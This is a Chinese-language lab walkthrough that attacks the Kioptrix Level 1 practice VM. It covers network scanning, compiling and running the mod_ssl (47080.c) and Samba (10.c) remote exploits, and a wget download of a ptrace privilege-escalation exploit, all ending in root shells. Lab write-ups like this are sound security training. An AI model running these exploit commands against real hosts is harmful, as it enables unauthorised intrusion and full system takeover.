目录
一、测试环境
1、系统环境
2、使用工具/软件
二、测试目的
三、操作过程
1、解决检测不到IP的问题
2、信息搜集
3、利用exp
①mod_ssl2.8版本漏洞
②smb2.2版本漏洞
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.202.134)
靶 机:Linux kioptrix.level1 2.4.7-10
2、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录遍历)、searchspoilt(查找漏洞库)、msf(执行exp)、gcc(编译C源码)、apt-get(安装库函数)
测试网址:http://192.168.202.164
二、测试目的
根据靶机存在的smb版本漏洞和mod_ssl版本漏洞,利用exp获取root权限。
三、操作过程
1、解决检测不到IP的问题
该靶机直接打开会检测不到IP
解决办法:
1.关闭虚拟机并移除
2.将.vmx文件中以 ethernet0 开头的条目删除并保存修改
3.将VirtualHW.version改为VMware的版本保存
4.重新添加网络适配器,原来的桥接删除
2、信息搜集
主机探测
arp-scan -l
靶机的IP:192.168.202.164
端口和服务探测
nmap -sS -A -T4 -p- 192.168.202.164
开启了ssh服务(22端口)、web服务(80端口、443端口)、smb服务(139端口)
可以看到apache版本是1.3.20 mod_ssl版本是2.8.4 都是很老的版本,存在漏洞
https服务访问不到,状态码400
目录扫描
gobuster dir -u http://192.168.202.164 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
80端口打开是apache默认页
test.php页面也是测试页面,没有信息
3、利用exp
通过exp直接能获取root权限
①mod_ssl2.8版本漏洞
查找该版本漏洞,远程的缓冲区溢出漏洞
漏洞库:
https://www.exploit-db.com/
下载exp,查看源码,通常会有编译命令
安装需要的库
apt-get install libssl-dev
将exp上传到kali,进行编译
gcc 47080.c -o ccc -lcrypto
报了错,但编译成功了
运行编译好的程序,查看参数使用方法
需要系统版本编号、IP地址、ssl服务的端口
查找一下靶机相关的系统版本
是redhat版本的Linux, apache版本是1.3.20
有两个版本编号可以使用
./ccc | grep '1.3.20'
使用管道符,查找特定apache版本的编号
./ccc 0x6a 192.168.202.164 443
./ccc 0x6b 192.168.202.164 443
都尝试,0x6b的版本getshell成功,不过只是普通用户权限
报了一些ssl连接失败的错误,https连接出了问题
一个新的exp未下载成功
可以手动下载编译并执行exp
使用http访问
wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
gcc -o exploit ptrace-kmod.c
./exploit
成功获取root权限
②smb2.2版本漏洞
靶机smb服务的版本还未知,先用msf查看一下
使用auxiliary模块下的smb_version探测
search smb_version
设置靶机IP为参数即可
use 0
show options
set rhost 192.168.202.164
run
探测到smb服务的版本是2.2.1a
查找该版本的漏洞,有远程命令执行的exp可以使用
查找exp路径,查看源码
searchsploit -p 10.c
cp /usr/share/exploitdb/exploits/multiple/remote/10.c 10.c
cat 10.c
直接编译即可,运行查看参数
gcc 10.c -o zzz
./zzz
需要给定靶机的IP
-b参数指定系统类型
其他默认即可
执行exp获取靶机root权限
./zzz -b 0 192.168.202.164
四、结论
使用工具要及时更新版本,避免使用存在漏洞的版本。系统也要及时打补丁。